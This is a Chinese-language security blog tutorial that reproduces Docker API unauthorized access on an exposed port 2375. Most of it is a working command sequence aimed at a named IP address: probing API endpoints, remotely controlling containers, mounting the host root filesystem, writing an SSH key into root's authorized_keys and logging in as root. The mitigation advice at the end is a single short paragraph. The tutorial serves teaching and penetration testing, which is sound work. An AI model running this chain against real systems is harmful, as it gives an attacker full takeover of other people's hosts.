【云安全】云原生-Docker(六)Docker API 未授权访问

Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。

什么是 Docker API ?

Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。

Docker API 未授权访问

漏洞背景

Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器。

漏洞复现

1、快速搭建环境

复制代码
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

停止进程,重新执行刚才的命令,环境搭建成功

复制代码
#1、确认 Docker 守护进程是否正在运行
ps aux | grep dockerd
#2、如果正在运行,先停止它
sudo systemctl stop docker

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

常见探测路径

复制代码
http://39.105.123.35:2375/version
http://39.105.123.35:2375/info
http://39.105.123.35:2375/images/json
http://39.105.123.35:2375/containers/json    

3、攻击者便可以远程通过Docker客户端连接,以下为常见操作

复制代码
#列出所有容器
docker -H 39.105.123.35 ps -a
#查看镜像
docker -H 39.105.123.35 images
#拉取镜像
docker -H 39.105.123.35 pull ubuntu
#停止一个已经运行的容器
docker -H 39.105.123.35 stop c198868f6660
#删除容器
docker -H 39.105.123.35 rm c198868f6660
#进入容器
docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash

4、写公钥获取shell

复制代码
#生成公钥
ssh-keygen -t rsa
#查看生成的公钥
cat /root/.ssh/id_rsa.pub
#运行一个容器挂载宿主机的根目录到容器/mnt目录
docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx
#写入公钥到宿主机
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys

5、容器逃逸:连接目标主机获取shell

复制代码
ssh [email protected] -i id_rsa

总结

Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。

相关推荐
你是我的天晴3 分钟前
k8s教程4:Kubernetes中的服务发现与负载均衡
kubernetes·服务发现·负载均衡
Java后端何哥3 分钟前
Docker Compose 和 Kubernetes(k8s)区别
docker·容器·kubernetes
学习溢出4 分钟前
【网络安全】OWASP 十大漏洞
网络·安全·web安全·网络安全
周周的奇妙编程14 分钟前
解决方案评测|告别复杂配置!基于阿里云云原生应用开发平台CAP快速部署Bolt.diy
阿里云·云原生·云计算
problc1 小时前
探索 Higress:下一代云原生 API 网关
云原生
yuzhangfeng1 小时前
【日志体系】ELK Stack与云原生日志服务
elk·云原生·云计算
半升酒1 小时前
Day-1 漏洞攻击实战
安全·网络安全
别致的影分身1 小时前
Docker Image(镜像)
运维·docker·容器
kevin_cheng2 小时前
ByConity x CubeFS: 万亿级OLAP平台云原生构建方案
云原生
moxiaoran57532 小时前
Kubernetes(k8s)学习笔记(二)--k8s 集群安装
笔记·学习·kubernetes